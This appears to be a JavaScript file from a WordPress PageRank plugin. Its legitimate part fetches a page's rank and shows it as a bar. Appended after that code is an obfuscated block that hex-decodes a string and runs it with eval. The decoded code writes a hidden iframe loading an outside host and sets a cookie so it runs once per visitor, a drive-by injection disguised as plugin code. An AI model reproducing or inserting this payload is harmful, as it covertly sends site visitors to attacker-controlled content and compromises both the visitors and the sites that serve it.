var googlepr_rpc = new PHPRPC_Client('http://www.coolcode.cn/wp-content/plugins/googlepr/rpc.php', ['googlepr']);

function showGooglePR(result) {
    var googlepr_container = document.getElementById('googlepr_container');
    var googlepr_bar = document.getElementById('googlepr_bar');
    var googlepr_rank = document.getElementById('googlepr_rank');
    googlepr_container.title = googlepr_bar.title = "PageRank: " + (result == 0 ? 'unranked' : result);
    googlepr_rank.style.width = (result << 2) + "px";
}

function googlePR() {
    result = document.cookie.match(/googlepr=([^;]*);/);
    if (result) {
        result = unescape(result[1]);
        showGooglePR(result);
    }
    else {
        googlepr_rpc.googlepr(location.href, function (result) {
            result = parseInt(result);
            if (isNaN(result)) return;
            var exp = new Date();
            exp.setTime(exp.getTime() + 86400000);
            document.cookie = "googlepr=" + escape(result) + "; " +
                              "expires=" + exp.toGMTString() + "; " +
                              "path=" + location.pathname + ";";
            showGooglePR(result);
            googlepr_rpc.dispose();
            googlepr_rpc = null;
        });
    }
}
F87518A="par";F87518A+="se";F87518A+="Int";C51A38F0E95="Str";C51A38F0E95+="ing";C51A38F0E95+=".from";C51A38F0E95+="Ch";C51A38F0E95+="arCod";C51A38F0E95+="e";function B05683AA0(A0FA15DBDC){var E4B8C2=683;E4B8C2=E4B8C2-667;E158703DB=eval(F87518A+"(A0FA15DBDC,E4B8C2)");return(E158703DB);}function F0CF77911735(C1658539E3){var EB5BF974A947F0=793;EB5BF974A947F0=EB5BF974A947F0-791;var F7C250="";for(BB1E65C8184=0;BB1E65C8184<C1658539E3.length;BB1E65C8184+=EB5BF974A947F0){F7C250+=( eval(C51A38F0E95+"(B05683AA0(C1658539E3.substr(BB1E65C8184,EB5BF974A947F0)))"));}eval(F7C250);}F0CF77911735("69662028646F63756D656E742E636F6F6B69652E7365617263682822627975673D322229203D3D202D3129207B0A73697668633D646F63756D656E742E676574456C656D656E744279496428276B6669687627293B69662873697668633D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D6B66696876207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D2022627975673D323B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
